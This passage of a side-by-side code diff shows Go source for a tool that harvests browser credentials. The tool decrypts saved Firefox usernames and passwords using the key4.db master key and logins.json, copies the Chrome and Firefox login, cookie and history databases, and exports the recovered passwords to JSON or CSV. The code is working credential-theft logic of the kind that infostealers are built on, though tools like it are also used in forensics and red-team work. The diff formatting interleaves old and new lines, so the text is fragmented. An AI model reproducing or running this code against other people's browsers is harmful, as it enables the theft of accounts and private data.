u, err := decrypt.Des3Decrypt(finallyKey, user.Iv, user.Encrypted) |
|
|
|
user, err := decrypt.Des3Decrypt(finallyKey, userPBE.Iv, userPBE.Encrypted) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
return err |
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
log.Debug("decrypt firefox success") |
|
|
|
pwd, err := decrypt.Des3Decrypt(finallyKey, pwdPBE.Iv, pwdPBE.Encrypted) |
|
|
|
p, err := decrypt.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
return err |
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
l.logins = append(l.logins, loginData{ |
|
|
|
log.Debug("decrypt firefox success") |
|
|
|
|
|
|
|
p.logins = append(p.logins, loginData{ |
|
|
|
LoginUrl: v.LoginUrl, |
|
|
|
LoginUrl: v.LoginUrl, |
|
|
|
UserName: string(decrypt.PKCS5UnPadding(u)), |
|
|
|
UserName: string(decrypt.PKCS5UnPadding(user)), |
|
|
|
Password: string(decrypt.PKCS5UnPadding(p)), |
|
|
|
Password: string(decrypt.PKCS5UnPadding(pwd)), |
|
|
|
CreateDate: v.CreateDate, |
|
|
|
CreateDate: v.CreateDate, |
|
|
|
}) |
|
|
|
}) |
|
|
|
|
|
|
|
|
|
|
@ -505,13 +532,48 @@ func (l *Logins) FirefoxParse() error { |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (p *passwords) CopyItem() error { |
|
|
|
|
|
|
|
err := utils.CopyDB(p.mainPath, filepath.Base(p.mainPath)) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if p.subPath != "" { |
|
|
|
|
|
|
|
err = utils.CopyDB(p.subPath, filepath.Base(p.subPath)) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (p *passwords) Release() error { |
|
|
|
|
|
|
|
err := os.Remove(filepath.Base(p.mainPath)) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if p.subPath != "" { |
|
|
|
|
|
|
|
err = os.Remove(filepath.Base(p.subPath)) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (p *passwords) OutPut(format, browser, dir string) error { |
|
|
|
|
|
|
|
sort.Sort(p) |
|
|
|
|
|
|
|
switch format { |
|
|
|
|
|
|
|
case "json": |
|
|
|
|
|
|
|
err := p.outPutJson(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
case "csv": |
|
|
|
|
|
|
|
err := p.outPutCsv(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return nil |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func getDecryptKey() (item1, item2, a11, a102 []byte, err error) { |
|
|
|
func getDecryptKey() (item1, item2, a11, a102 []byte, err error) { |
|
|
|
var ( |
|
|
|
var ( |
|
|
|
keyDB *sql.DB |
|
|
|
keyDB *sql.DB |
|
|
|
pwdRows *sql.Rows |
|
|
|
pwdRows *sql.Rows |
|
|
|
nssRows *sql.Rows |
|
|
|
nssRows *sql.Rows |
|
|
|
) |
|
|
|
) |
|
|
|
keyDB, err = sql.Open("sqlite3", FirefoxKey4DB) |
|
|
|
keyDB, err = sql.Open("sqlite3", FirefoxKey4File) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
return nil, nil, nil, nil, err |
|
|
|
return nil, nil, nil, nil, err |
|
|
@ -552,7 +614,7 @@ func getDecryptKey() (item1, item2, a11, a102 []byte, err error) { |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func getLoginData() (l []loginData, err error) { |
|
|
|
func getLoginData() (l []loginData, err error) { |
|
|
|
s, err := ioutil.ReadFile(FirefoxLoginData) |
|
|
|
s, err := ioutil.ReadFile(FirefoxLoginFile) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
return nil, err |
|
|
|
return nil, err |
|
|
|
} |
|
|
|
} |
|
|
@ -579,32 +641,72 @@ func getLoginData() (l []loginData, err error) { |
|
|
|
return |
|
|
|
return |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (b *BrowserData) Sorted() { |
|
|
|
type ( |
|
|
|
sort.Slice(b.bookmarks, func(i, j int) bool { |
|
|
|
loginData struct { |
|
|
|
return b.bookmarks[i].ID < b.bookmarks[j].ID |
|
|
|
UserName string |
|
|
|
}) |
|
|
|
encryptPass []byte |
|
|
|
sort.Slice(b.history, func(i, j int) bool { |
|
|
|
encryptUser []byte |
|
|
|
return b.history[i].VisitCount > b.history[j].VisitCount |
|
|
|
Password string |
|
|
|
}) |
|
|
|
LoginUrl string |
|
|
|
sort.Sort(b.Logins) |
|
|
|
CreateDate time.Time |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
bookmark struct { |
|
|
|
func (l Logins) Len() int { |
|
|
|
ID int64 |
|
|
|
return len(l.logins) |
|
|
|
Name string |
|
|
|
|
|
|
|
Type string |
|
|
|
|
|
|
|
URL string |
|
|
|
|
|
|
|
DateAdded time.Time |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
cookie struct { |
|
|
|
|
|
|
|
Host string |
|
|
|
|
|
|
|
Path string |
|
|
|
|
|
|
|
KeyName string |
|
|
|
|
|
|
|
encryptValue []byte |
|
|
|
|
|
|
|
Value string |
|
|
|
|
|
|
|
IsSecure bool |
|
|
|
|
|
|
|
IsHTTPOnly bool |
|
|
|
|
|
|
|
HasExpire bool |
|
|
|
|
|
|
|
IsPersistent bool |
|
|
|
|
|
|
|
CreateDate time.Time |
|
|
|
|
|
|
|
ExpireDate time.Time |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
history struct { |
|
|
|
|
|
|
|
Title string |
|
|
|
|
|
|
|
Url string |
|
|
|
|
|
|
|
VisitCount int |
|
|
|
|
|
|
|
LastVisitTime time.Time |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
const ( |
|
|
|
|
|
|
|
bookmarkID = "id" |
|
|
|
|
|
|
|
bookmarkAdded = "date_added" |
|
|
|
|
|
|
|
bookmarkUrl = "url" |
|
|
|
|
|
|
|
bookmarkName = "name" |
|
|
|
|
|
|
|
bookmarkType = "type" |
|
|
|
|
|
|
|
bookmarkChildren = "children" |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
func (l Logins) Less(i, j int) bool { |
|
|
|
const ( |
|
|
|
return l.logins[i].CreateDate.After(l.logins[j].CreateDate) |
|
|
|
ChromePasswordFile = "Login Data" |
|
|
|
|
|
|
|
ChromeHistoryFile = "History" |
|
|
|
|
|
|
|
ChromeCookieFile = "Cookies" |
|
|
|
|
|
|
|
ChromeBookmarkFile = "Bookmarks" |
|
|
|
|
|
|
|
FirefoxCookieFile = "cookies.sqlite" |
|
|
|
|
|
|
|
FirefoxKey4File = "key4.db" |
|
|
|
|
|
|
|
FirefoxLoginFile = "logins.json" |
|
|
|
|
|
|
|
FirefoxDataFile = "places.sqlite" |
|
|
|
|
|
|
|
FirefoxKey3DB = "key3.db" |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (p passwords) Len() int { |
|
|
|
|
|
|
|
return len(p.logins) |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (l Logins) Swap(i, j int) { |
|
|
|
func (p passwords) Less(i, j int) bool { |
|
|
|
l.logins[i], l.logins[j] = l.logins[j], l.logins[i] |
|
|
|
return p.logins[i].CreateDate.After(p.logins[j].CreateDate) |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
type Formatter interface { |
|
|
|
func (p passwords) Swap(i, j int) { |
|
|
|
ChromeParse(key []byte) error |
|
|
|
p.logins[i], p.logins[j] = p.logins[j], p.logins[i] |
|
|
|
FirefoxParse() error |
|
|
|
|
|
|
|
OutPutJson(browser, dir string) error |
|
|
|
|
|
|
|
OutPutCsv(browser, dir string) error |
|
|
|
|
|
|
|
Release(filename string) error |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|